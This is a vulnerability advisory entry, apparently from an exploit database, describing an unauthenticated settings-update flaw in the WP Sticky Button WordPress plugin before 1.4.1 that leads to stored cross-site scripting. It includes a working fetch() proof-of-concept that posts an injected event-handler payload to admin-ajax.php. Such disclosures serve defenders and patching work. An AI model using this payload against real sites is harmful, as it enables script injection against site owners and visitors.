Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:CAAB1FCA-CC6B-45BB-BD0D-F857EDD8BB81
HistoryAug 01, 2022 - 12:00 a.m.

WP Sticky Button < 1.4.1 - Unauthenticated Arbitrary Settings Update to Stored XSS

2022-08-0100:00:00
Krzysztof Zając
123
wp sticky button
unauthenticated
arbitrary settings
stored xss
exploit

EPSS

0.001

Percentile

21.2%

The plugin does not have authorisation and CSRF checks when saving its settings, allowing unauthenticated users to update them. Furthermore, due to the lack of escaping in some of them, it could lead to Stored Cross-Site Scripting issues

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },

  "method": "POST",
  "body": "action=okapi_wasb_save_settings&number=\" style=position:fixed;left:0;top:0;right:0;bottom:0;z-index:9999\x0conmouseover=alert`1`\x0cppp&display_on_desktop=1&activate=1",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

EPSS

0.001

Percentile

21.2%

Related for WPEX-ID:CAAB1FCA-CC6B-45BB-BD0D-F857EDD8BB81